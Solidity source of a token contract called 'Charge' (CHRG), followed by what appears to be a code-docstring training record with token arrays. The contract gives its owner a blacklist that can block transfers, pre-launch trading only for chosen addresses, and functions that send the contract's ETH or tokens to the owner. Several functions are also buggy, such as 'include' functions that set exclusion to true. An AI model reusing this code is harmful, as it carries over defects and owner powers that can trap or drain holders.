function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract protected {
mapping (address => bool) is_auth;
function authorized(address addy) public view returns(bool) {
return is_auth[addy];
}
function set_authorized(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require( is_auth[msg.sender] || msg.sender==owner, "not owner");
_;
}
address owner;
modifier onlyowner {
require(msg.sender==owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
contract smart {
address router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapRouter02 router = IUniswapRouter02(router_address);
function create_weth_pair(address token) private returns (address, IUniswapV2Pair) {
address pair_address = IUniswapFactory(router.factory()).createPair(token, router.WETH());
return (pair_address, IUniswapV2Pair(pair_address));
}
function get_weth_reserve(address pair_address) private view returns(uint, uint) {
IUniswapV2Pair pair = IUniswapV2Pair(pair_address);
uint112 token_reserve;
uint112 native_reserve;
uint32 last_timestamp;
(token_reserve, native_reserve, last_timestamp) = pair.getReserves();
return (token_reserve, native_reserve);
}
function get_weth_price_impact(address token, uint amount, bool sell) public view returns(uint) {
address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH());
(uint res_token, uint res_weth) = get_weth_reserve(pair_address);
uint impact;
if(sell) {
impact = (amount * 100) / res_token;
} else {
impact = (amount * 100) / res_weth;
}
return impact;
}
}
contract charge is IERC20, protected, smart {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _sellLock;
// Exclusions
mapping(address => bool) isBalanceFree;
mapping(address => bool) isMarketMakerTaxFree;
mapping(address => bool) isMarketingTaxFree;
mapping(address => bool) isRewardTaxFree;
mapping(address => bool) isAuthorized;
mapping(address => bool) isWhitelisted;
mapping (address => bool) private _excluded;
mapping (address => bool) private _whiteList;
mapping (address => bool) private _excludedFromSellLock;
mapping (address => bool) private _excludedFromDistributing;
uint excludedAmount;
mapping(address => bool) public _blacklist;
mapping(address => bool) public isOpen;
bool isBlacklist = true;
string private constant _name = "Charge";
string private constant _symbol = "CHRG";
uint8 private constant _decimals = 9;
uint256 public constant InitialSupply = 100 * 10**9 * 10**_decimals;
uint8 public constant BalanceLimitDivider = 25;
uint16 public constant SellLimitDivider = 200;
uint16 public constant MaxSellLockTime = 120 seconds;
mapping(uint8 => mapping(address => bool)) public is_claimable;
address public constant UniswapRouterAddy =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant Dead = 0x000000000000000000000000000000000000dEaD;
address public rewardWallet_one =0x48727b7f64Badb9fe12fCdf95b20A0ee681a065D;
address public rewardWallet_two = 0x3584584b89352A40998652f1EF2Ee3878AD2fdFc;
address public marketingWallet = 0xDB2471b955E0Ee21f2D91Bd2B07d57a2f52B0d56;
address public marketMakerWallet = 0xa1E89769eA01919D61530360b2210E656DD263A0;
bool blacklist_enabled = true;
mapping(address => uint8) is_slot;
uint256 private _circulatingSupply = InitialSupply;
uint256 public balanceLimit = _circulatingSupply;
uint256 public sellLimit = _circulatingSupply;
uint256 public qtyTokenToSwap = (sellLimit * 10) / 100;
uint256 public swapTreshold = qtyTokenToSwap;
uint256 public portionLimit;
bool manualTokenToSwap = false;
uint256 manualQtyTokenToSwap = (sellLimit * 10) / 100;
bool sellAll = false;
bool sellPeg = true;
bool botKiller = true;
uint8 public constant MaxTax = 25;
uint8 private _buyTax;
uint8 private _sellTax;
uint8 private _portionTax;
uint8 private _transferTax;
uint8 private _marketMakerTax;
uint8 private _liquidityTax;
uint8 private _marketingTax;
uint8 private _stakeTax_one;
uint8 private _stakeTax_two;
uint8 public impactTreshold;
bool public enabledImpactTreshold;
address private _UniswapPairAddress;
IUniswapRouter02 private _UniswapRouter;
constructor() {
uint256 deployerBalance = _circulatingSupply;
_balances[msg.sender] = deployerBalance;
emit Transfer(address(0), msg.sender, deployerBalance);
_UniswapRouter = IUniswapRouter02(UniswapRouterAddy);
_UniswapPairAddress = IUniswapFactory(_UniswapRouter.factory()).createPair(
address(this),
_UniswapRouter.WETH()
);
_excludedFromSellLock[rewardWallet_one] = true;
_excludedFromSellLock[rewardWallet_two] = true;
_excludedFromSellLock[marketingWallet] = true;
_excludedFromSellLock[marketMakerWallet] = true;
_excludedFromDistributing[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
balanceLimit = InitialSupply / BalanceLimitDivider;
sellLimit = InitialSupply / SellLimitDivider;
sellLockTime = 90 seconds;
_buyTax = 0;
_sellTax = 15;
_portionTax = 20;
_transferTax = 15;
_liquidityTax = 1;
_marketingTax = 20;
_marketMakerTax = 19;
_stakeTax_one =30;
_stakeTax_two =30;
impactTreshold = 2;
portionLimit = 20;
_excluded[msg.sender] = true;
_excludedFromDistributing[address(_UniswapRouter)] = true;
_excludedFromDistributing[_UniswapPairAddress] = true;
_excludedFromDistributing[address(this)] = true;
_excludedFromDistributing[0x000000000000000000000000000000000000dEaD] = true;
owner = msg.sender;
is_auth[owner] = true;
}
function _transfer(address sender, address recipient, uint256 amount) private{
require(sender != address(0), "Transfer from zero");
require(recipient != address(0), "Transfer to zero");
if(isBlacklist) {
require(!_blacklist[sender] && !_blacklist[recipient], "Blacklisted!");
}
bool isExcluded = (_excluded[sender] || _excluded[recipient] || is_auth[sender] || is_auth[recipient]);
bool isContractTransfer=(sender==address(this) || recipient==address(this));
bool isLiquidityTransfer = ((sender == _UniswapPairAddress && recipient == UniswapRouterAddy)
|| (recipient == _UniswapPairAddress && sender == UniswapRouterAddy));
bool swapped = false;
if(isContractTransfer || isLiquidityTransfer || isExcluded ){
_feelessTransfer(sender, recipient, amount, is_slot[sender]);
swapped = true;
}
if(!swapped) {
if (!tradingEnabled) {
bool isBuy1=sender==_UniswapPairAddress|| sender == UniswapRouterAddy;
bool isSell1=recipient==_UniswapPairAddress|| recipient == UniswapRouterAddy;
if (isOpen[sender] ||isOpen[recipient]||isOpen[msg.sender]) {
_taxedTransfer(sender,recipient,amount,isBuy1,isSell1);}
else{
require(tradingEnabled,"trading not yet enabled");
}
}
else{
bool isBuy=sender==_UniswapPairAddress|| sender == UniswapRouterAddy;
bool isSell=recipient==_UniswapPairAddress|| recipient == UniswapRouterAddy;
_taxedTransfer(sender,recipient,amount,isBuy,isSell);}
}
}
function get_paid(address addy) public view returns(uint) {
uint8 slot = is_slot[addy];
return (profitPerShare[(slot*1)] * _balances[addy]);
}
function _taxedTransfer(
address sender,
address recipient,
uint256 amount,
bool isBuy,
bool isSell
) private {
uint8 slot = is_slot[sender];
uint256 recipientBalance = _balances[recipient];
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
uint8 tax;
uint8 impact = uint8(get_weth_price_impact(address(this), amount, isSell));
if (isSell) {
if (!_excludedFromSellLock[sender]) {
require(
_sellLock[sender] <= block.timestamp || sellLockDisabled,
"Seller in sellLock"
);
_sellLock[sender] = block.timestamp + sellLockTime;
}
require(amount <= sellLimit, "Dump protection");
uint availableSupply = InitialSupply - _balances[Dead] - _balances[address(this)];
uint portionControl = (availableSupply/1000) * portionLimit;
if(amount >= portionControl) {
tax = _portionTax;
} else {
tax = _sellTax;
if(enabledImpactTreshold) {
if(impact > impactTreshold) {
tax = tax + ((3 * impact)/2 - impactTreshold );
}
}
}
} else if (isBuy) {
if (!_excludedFromSellLock[sender]) {
require(
_sellLock[sender] <= block.timestamp || sellLockDisabled,
"Seller in sellLock"
);
_sellLock[sender] = block.timestamp + sellLockTime;
}
require(amount <= sellLimit, "Dump protection");
if (!isBalanceFree[recipient]) {
require(recipientBalance + amount <= balanceLimit, "whale protection");
}
tax = _buyTax;
} else {
if (!isBalanceFree[recipient]) {
require(recipientBalance + amount <= balanceLimit, "whale protection");
}
require(recipientBalance + amount <= balanceLimit, "whale protection");
if (!_excludedFromSellLock[sender])
require(
_sellLock[sender] <= block.timestamp || sellLockDisabled,
"Sender in Lock"
);
tax = _transferTax;
}
if (
(sender != _UniswapPairAddress) &&
(!manualConversion) &&
(!_isSwappingContractModifier) &&
isSell
) {
if (_balances[address(this)] >= swapTreshold) {
_swapContractToken(amount);
}
}
uint8 actualmarketMakerTax = 0;
uint8 actualMarketingTax = 0;
if (!isMarketingTaxFree[sender]) {
actualMarketingTax = _marketingTax;
}
if (!isMarketMakerTaxFree[sender]) {
actualmarketMakerTax = _marketMakerTax;
}
uint8 stakeTax;
if (slot == 0) {
stakeTax = _stakeTax_one;
} else if (slot == 1) {
stakeTax = _stakeTax_two;
}
uint256 contractToken = _calculateFee(
amount,
tax,
_liquidityTax +
actualMarketingTax +
actualmarketMakerTax +
_stakeTax_one +
_stakeTax_two
);
uint256 taxedAmount = amount - (contractToken);
_removeToken(sender, amount, slot);
_balances[address(this)] += contractToken;
_addToken(recipient, taxedAmount, slot);
emit Transfer(sender, recipient, taxedAmount);
}
function _feelessTransfer(
address sender,
address recipient,
uint256 amount,
uint8 slot
) private {
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
_removeToken(sender, amount, slot);
_addToken(recipient, amount, slot);
emit Transfer(sender, recipient, amount);
}
function _calculateFee(
uint256 amount,
uint8 tax,
uint8 taxPercent
) private pure returns (uint256) {
return (amount * tax * taxPercent) / 10000;
}
bool private _isWithdrawing;
uint256 private constant DistributionMultiplier = 2**64;
mapping(uint8 => uint256) public profitPerShare;
uint256 public totalDistributingReward;
uint256 public oneDistributingReward;
uint256 public twoDistributingReward;
uint256 public totalPayouts;
uint256 public marketingBalance;
uint256 public marketMakerBalance;
mapping(uint8 => uint256) rewardBalance;
mapping(address => mapping(uint256 => uint256)) private alreadyPaidShares;
mapping(address => uint256) private toERCaid;
function isExcludedFromDistributing(address addr) public view returns (bool) {
return _excludedFromDistributing[addr];
}
function _getTotalShares() public view returns (uint256) {
uint256 shares = _circulatingSupply;
shares -= excludedAmount;
return shares;
}
function _addToken(
address addr,
uint256 amount,
uint8 slot
) private {
uint256 newAmount = _balances[addr] + amount;
if (_excludedFromDistributing[addr]) {
_balances[addr] = newAmount;
return;
}
uint256 payment = _newDividentsOf(addr, slot);
alreadyPaidShares[addr][slot] = profitPerShare[slot] * newAmount;
toERCaid[addr] += payment;
_balances[addr] = newAmount;
}
function _removeToken(
address addr,
uint256 amount,
uint8 slot
) private {
uint256 newAmount = _balances[addr] - amount;
if (_excludedFromDistributing[addr]) {
_balances[addr] = newAmount;
return;
}
uint256 payment = _newDividentsOf(addr, slot);
_balances[addr] = newAmount;
alreadyPaidShares[addr][slot] = profitPerShare[slot] * newAmount;
toERCaid[addr] += payment;
}
function _newDividentsOf(address staker, uint8 slot)
private
view
returns (uint256)
{
uint256 fullPayout = profitPerShare[slot] * _balances[staker];
if (fullPayout < alreadyPaidShares[staker][slot]) return 0;
return
(fullPayout - alreadyPaidShares[staker][slot]) / DistributionMultiplier;
}
function _distributeStake(uint256 ETHamount) private {
uint256 marketingSplit = (ETHamount * _marketingTax) / 100;
uint256 marketMakerSplit = (ETHamount * _marketMakerTax) / 100;
uint256 amount_one = (ETHamount * _stakeTax_one) / 100;
uint256 amount_two = (ETHamount * _stakeTax_two) / 100;
marketingBalance += marketingSplit;
marketMakerBalance += marketMakerSplit;
if (amount_one > 0) {
totalDistributingReward += amount_one;
oneDistributingReward += amount_one;
uint256 totalShares = _getTotalShares();
if (totalShares == 0) {
marketingBalance += amount_one;
} else {
profitPerShare[0] += ((amount_one * DistributionMultiplier) /
totalShares);
rewardBalance[0] += amount_one;
}
}
if (amount_two > 0) {
totalDistributingReward += amount_two;
twoDistributingReward += amount_two;
uint256 totalShares = _getTotalShares();
if (totalShares == 0) {
marketingBalance += amount_two;
} else {
profitPerShare[1] += ((amount_two * DistributionMultiplier) /
totalShares);
rewardBalance[1] += amount_two;
}
}
}
event OnWithdrawFarmedToken(uint256 amount, address recipient);
///@dev Claim tokens correspondant to a slot, if enabled
function claimFarmedToken(
address addr,
address tkn,
uint8 slot
) private {
if (slot == 1) {
require(isAuthorized[addr], "You cant retrieve it");
}
require(!_isWithdrawing);
require(is_claimable[slot][tkn], "Not enabled");
_isWithdrawing = true;
uint256 amount;
if (_excludedFromDistributing[addr]) {
amount = toERCaid[addr];
toERCaid[addr] = 0;
} else {
uint256 newAmount = _newDividentsOf(addr, slot);
alreadyPaidShares[addr][slot] = profitPerShare[slot] * _balances[addr];
amount = toERCaid[addr] + newAmount;
toERCaid[addr] = 0;
}
if (amount == 0) {
_isWithdrawing = false;
return;
}
totalPayouts += amount;
address[] memory path = new address[](2);
path[0] = _UniswapRouter.WETH();
path[1] = tkn;
_UniswapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(0, path, addr, block.timestamp);
emit OnWithdrawFarmedToken(amount, addr);
_isWithdrawing = false;
}
uint256 public totalLPETH;
bool private _isSwappingContractModifier;
modifier lockTheSwap() {
_isSwappingContractModifier = true;
_;
_isSwappingContractModifier = false;
}
function _swapContractToken(uint256 sellAmount)
private
lockTheSwap
{
uint256 contractBalance = _balances[address(this)];
uint16 totalTax = _liquidityTax + _stakeTax_one + _stakeTax_two;
uint256 tokenToSwap = (sellLimit * 10) / 100;
if (manualTokenToSwap) {
tokenToSwap = manualQtyTokenToSwap;
}
bool prevSellPeg = sellPeg;
if (sellPeg) {
if (tokenToSwap > sellAmount) {
tokenToSwap = sellAmount / 2;
}
}
sellPeg = prevSellPeg;
if (sellAll) {
tokenToSwap = contractBalance - 1;
}
if (contractBalance < tokenToSwap || totalTax == 0) {
return;
}
uint256 tokenForLiquidity = (tokenToSwap * _liquidityTax) / totalTax;
uint256 tokenForMarketing = (tokenToSwap * _marketingTax) / totalTax;
uint256 tokenForMarketMaker = (tokenToSwap * _marketMakerTax) / totalTax;
uint256 swapToken = tokenForLiquidity +
tokenForMarketing +
tokenForMarketMaker;
// Avoid solidity imprecisions
if (swapToken >= tokenToSwap) {
tokenForMarketMaker -= (tokenToSwap - (swapToken));
}
uint256 liqToken = tokenForLiquidity / 2;
uint256 liqETHToken = tokenForLiquidity - liqToken;
swapToken = liqETHToken + tokenForMarketing + tokenForMarketMaker;
uint256 initialETHBalance = address(this).balance;
_swapTokenForETH(swapToken);
uint256 newETH = (address(this).balance - initialETHBalance);
uint256 liqETH = (newETH * liqETHToken) / swapToken;
_addLiquidity(liqToken, liqETH);
_distributeStake(address(this).balance - initialETHBalance);
}
function _swapTokenForETH(uint256 amount) private {
_approve(address(this), address(_UniswapRouter), amount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _UniswapRouter.WETH();
_UniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenamount, uint256 ETHamount) private {
totalLPETH += ETHamount;
_approve(address(this), address(_UniswapRouter), tokenamount);
_UniswapRouter.addLiquidityETH{value: ETHamount}(
address(this),
tokenamount,
0,
0,
address(this),
block.timestamp
);
}
function getLimits() public view returns (uint256 balance, uint256 sell) {
return (balanceLimit / 10**_decimals, sellLimit / 10**_decimals);
}
function getTaxes()
public
view
returns (
uint256 marketingTax,
uint256 marketMakerTax,
uint256 liquidityTax,
uint256 stakeTax_one,
uint256 stakeTax_two,
uint256 buyTax,
uint256 sellTax,
uint256 transferTax
)
{
return (
_marketingTax,
_marketMakerTax,
_liquidityTax,
_stakeTax_one,
_stakeTax_two,
_buyTax,
_sellTax,
_transferTax
);
}
function getWhitelistedStatus(address AddressToCheck)
public
view
returns (bool)
{
return _whiteList[AddressToCheck];
}
function getAddressSellLockTimeInSeconds(address AddressToCheck)
public
view
returns (uint256)
{
uint256 lockTime = _sellLock[AddressToCheck];
if (lockTime <= block.timestamp) {
return 0;
}
return lockTime - block.timestamp;
}
function getSellLockTimeInSeconds() public view returns (uint256) {
return sellLockTime;
}
///@dev Reset cooldown for an address
function AddressResetSellLock() public {
_sellLock[msg.sender] = block.timestamp + sellLockTime;
}
///@dev Retrieve slot 1
function FarmedTokenWithdrawSlotOne(address tkn) public {
claimFarmedToken(msg.sender, tkn, 0);
}
///@dev Retrieve slot 2
function FarmedTokenWithdrawSlotTwo(address tkn) public {
claimFarmedToken(msg.sender, tkn, 1);
}
function getDividends(address addr, uint8 slot)
public
view
returns (uint256)
{
if (_excludedFromDistributing[addr]) return toERCaid[addr];
return _newDividentsOf(addr, slot) + toERCaid[addr];
}
bool public sellLockDisabled;
uint256 public sellLockTime;
bool public manualConversion;
///@dev Airdrop tokens
function airdropAddresses(
address[] memory addys,
address token,
uint256 qty
) public onlyAuth {
uint256 single_drop = qty / addys.length;
IERC20 airtoken = IERC20(token);
bool sent;
for (uint256 i; i <= (addys.length - 1); i++) {
sent = airtoken.transfer(addys[i], single_drop);
require(sent);
sent = false;
}
}
///@dev Airdrop a N of addresses
function airdropAddressesNative(address[] memory addys)
public
payable
onlyAuth
{
uint256 qty = msg.value;
uint256 single_drop = qty / addys.length;
bool sent;
for (uint256 i; i <= (addys.length - 1); i++) {
sent = payable(addys[i]).send(single_drop);
require(sent);
sent = false;
}
}
///@dev Enable pools for a token
function ControlEnabledClaims(
uint8 slot,
address tkn,
bool booly
) public onlyAuth {
is_claimable[slot][tkn] = booly;
}
///@dev Rekt all the snipers
function ControlBotKiller(bool booly) public onlyAuth {
botKiller = booly;
}
///@dev Minimum tokens to sell
function ControlSetSwapTreshold(uint256 treshold) public onlyAuth {
swapTreshold = treshold * 10**_decimals;
}
///@dev Exclude from distribution
function ControlExcludeFromDistributing(address addr, uint8 slot)
public
onlyAuth
{
require(_excludedFromDistributing[addr]);
uint256 newDividents = _newDividentsOf(addr, slot);
alreadyPaidShares[addr][slot] = _balances[addr] * profitPerShare[slot];
toERCaid[addr] += newDividents;
_excludedFromDistributing[addr] = true;
excludedAmount += _balances[addr];
}
///@dev Include into distribution
function ControlIncludeToDistributing(address addr, uint8 slot)
public
onlyAuth
{
require(_excludedFromDistributing[addr]);
_excludedFromDistributing[addr] = false;
excludedAmount -= _balances[addr];
alreadyPaidShares[addr][slot] = _balances[addr] * profitPerShare[slot];
}
///@dev Take out the marketing balance
function ControlWithdrawMarketingETH() public onlyAuth {
uint256 amount = marketingBalance;
marketingBalance = 0;
(bool sent, ) = marketingWallet.call{value: (amount)}("");
require(sent, "withdraw failed");
}
///@dev Peg sells to the tx
function ControlSwapSetSellPeg(bool setter) public onlyAuth {
sellPeg = setter;
}
///@dev Set marketing tax free or not
function ControlSetMarketingTaxFree(address addy, bool booly)
public
onlyAuth
{
isMarketingTaxFree[addy] = booly;
}
///@dev Set an address into or out marketmaker fee
function ControlSetMarketMakerTaxFree(address addy, bool booly)
public
onlyAuth
{
isMarketMakerTaxFree[addy] = booly;
}
///@dev Disable tax reward for address
function ControlSetRewardTaxFree(address addy, bool booly) public onlyAuth {
isRewardTaxFree[addy] = booly;
}
///@dev Disable address balance limit
function ControlSetBalanceFree(address addy, bool booly) public onlyAuth {
isBalanceFree[addy] = booly;
}
///@dev Enable or disable manual sell
function ControlSwapSetManualLiqSell(bool setter) public onlyAuth {
manualTokenToSwap = setter;
}
///@dev Turn sells into manual
function ControlSwapSetManualLiqSellTokens(uint256 amount) public onlyAuth {
require(amount > 1 && amount < 100000000, "Values between 1 and 100000000");
manualQtyTokenToSwap = amount * 10**_decimals;
}
///@dev Disable auto sells
function ControlSwapSwitchManualETHConversion(bool manual) public onlyAuth {
manualConversion = manual;
}
///@dev Set cooldown on or off (ONCE)
function ControlDisableSellLock(bool disabled) public onlyAuth {
sellLockDisabled = disabled;
}
///@dev Set cooldown
function ControlSetSellLockTime(uint256 sellLockSeconds) public onlyAuth {
require(sellLockSeconds <= MaxSellLockTime, "Sell Lock time too high");
sellLockTime = sellLockSeconds;
}
///@dev Set taxes
function ControlSetTaxes(
uint8 buyTax,
uint8 sellTax,
uint8 portionTax,
uint8 transferTax
) public onlyAuth {
require(
buyTax <= MaxTax && sellTax <= MaxTax && transferTax <= MaxTax,
"taxes higher than max tax"
);
_buyTax = buyTax;
_sellTax = sellTax;
_portionTax = portionTax;
_transferTax = transferTax;
}
function ControlSetShares(
uint8 marketingTaxes,
uint8 marketMakerTaxes,
uint8 liquidityTaxes,
uint8 stakeTaxes_one,
uint8 stakeTaxes_two) public onlyAuth {
uint8 totalTax = marketingTaxes +
marketMakerTaxes +
liquidityTaxes +
stakeTaxes_one +
stakeTaxes_two;
require(totalTax == 100, "total taxes needs to equal 100%");
require(marketingTaxes <= 55, "Max 55%");
require(marketMakerTaxes <= 55, "Max 45%");
require(stakeTaxes_one <= 55, "Max 45%");
require(stakeTaxes_two <= 55, "Max 45%");
_marketingTax = marketingTaxes;
_marketMakerTax = marketMakerTaxes;
_liquidityTax = liquidityTaxes;
_stakeTax_one = stakeTaxes_one;
_stakeTax_two = stakeTaxes_two;
}
function SetPortionLimit(uint256 _portionlimit) public onlyAuth {
portionLimit = _portionlimit ;
}
///@dev Manually sell and create LP
function ControlCreateLPandETH() public onlyAuth {
_swapContractToken(192919291929192919291929192919291929);
}
///@dev Manually sell all tokens gathered
function ControlSellAllTokens() public onlyAuth {
sellAll = true;
_swapContractToken(192919291929192919291929192919291929);
sellAll = false;
}
///@dev Free from fees
function ControlExcludeAccountFromFees(address account) public onlyAuth {
_excluded[account] = true;
}
///@dev Include in fees
function ControlIncludeAccountToFees(address account) public onlyAuth {
_excluded[account] = true;
}
///@dev Exclude from cooldown
function ControlExcludeAccountFromSellLock(address account) public onlyAuth {
_excludedFromSellLock[account] = true;
}
///@dev Enable cooldown
function ControlIncludeAccountToSellLock(address account) public onlyAuth {
_excludedFromSellLock[account] = true;
}
///@dev Enable or disable pool 2 for an address
function ControlIncludeAccountToSubset(address account, bool booly)
public
onlyAuth
{
isAuthorized[account] = booly;
}
///@dev Control all the tx, buy and sell limits
function ControlUpdateLimits(uint256 newBalanceLimit, uint256 newSellLimit)
public
onlyAuth
{
newBalanceLimit = newBalanceLimit * 10**_decimals;
newSellLimit = newSellLimit * 10**_decimals;
balanceLimit = newBalanceLimit;
sellLimit = newSellLimit;
}
bool public tradingEnabled;
address private _liquidityTokenAddress;
function setMarketingWallet(address addy) public onlyAuth {
marketingWallet = addy;
_excludedFromSellLock[marketingWallet] = true;
}
function setMarketMakingWallet(address addy) public onlyAuth {
marketMakerWallet = addy;
_excludedFromSellLock[marketMakerWallet] = true;
}
function setSlotOneWallet(address addy) public onlyAuth {
rewardWallet_one = addy;
_excludedFromSellLock[rewardWallet_one] = true;
}
function setSlotTwoWallet(address addy) public onlyAuth {
rewardWallet_two = addy;
_excludedFromSellLock[rewardWallet_two] = true;
}
///@dev Start/stop trading
function SetupEnableTrading(bool booly) public onlyAuth {
tradingEnabled = booly;
}
///@dev Define a new liquidity pair
function SetupLiquidityTokenAddress(address liquidityTokenAddress)
public
onlyAuth
{
_liquidityTokenAddress = liquidityTokenAddress;
}
///@dev Add to WL
function SetupAddToWhitelist(address addressToAdd) public onlyAuth {
_whiteList[addressToAdd] = true;
}
///@dev Remove from whitelist
function SetupRemoveFromWhitelist(address addressToRemove) public onlyAuth {
_whiteList[addressToRemove] = false;
}
///@dev Take back tokens stuck into the contract
function rescueTokens(address tknAddress) public onlyAuth {
IERC20 token = IERC20(tknAddress);
uint256 ourBalance = token.balanceOf(address(this));
require(ourBalance > 0, "No tokens in our balance");
token.transfer(msg.sender, ourBalance);
}
///@dev Disable PERMANENTLY blacklist functions
function disableBlacklist() public onlyAuth {
isBlacklist = false;
}
///@dev Blacklist someone
function setBlacklistedAddress(address toBlacklist) public onlyAuth {
_blacklist[toBlacklist] = true;
}
///@dev Remove from blacklist
function removeBlacklistedAddress(address toRemove) public onlyAuth {
_blacklist[toRemove] = false;
}
///@dev Block or unblock an address
/* function setisOpen(address addy, bool booly) public onlyAuth {
isOpen[addy] = booly;
}*/
function setisOpenArry(address[] calldata addy, bool[] calldata booly) public onlyAuth {
for(uint256 i; i < addy.length; i++){
isOpen[addy[i]] = booly[i];
}
}
function setImpactTreshold(uint8 inty) public onlyAuth {
impactTreshold = inty;
}
function enableImpactTreshold(bool booly) public onlyAuth {
enabledImpactTreshold = booly;
}
///@dev Remove the balance remaining in the contract
function ControlRemoveRemainingETH() public onlyAuth {
(bool sent, ) = owner.call{value: (address(this).balance)}("");
require(sent);
}
receive() external payable {}
fallback() external payable {}
function getowner() external view override returns (address) {
return owner;
}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _circulatingSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address _owner, address spender)
external
view
override
returns (uint256)
{
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address _owner,
address spender,
uint256 amount
) private {
require(_owner != address(0), "Approve from zero");
require(spender != address(0), "Approve to zero");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "Transfer > allowance");
_approve(sender, msg.sender, currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "<0 allowance");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
} | @dev Manually sell and create LP | function ControlCreateLPandETH() public onlyAuth {
_swapContractToken(192919291929192919291929192919291929);
}
| 10,439,397 | [
1,
5669,
3452,
357,
80,
471,
752,
511,
52,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
8888,
1684,
14461,
464,
1584,
44,
1435,
1071,
1338,
1730,
288,
203,
565,
389,
22270,
8924,
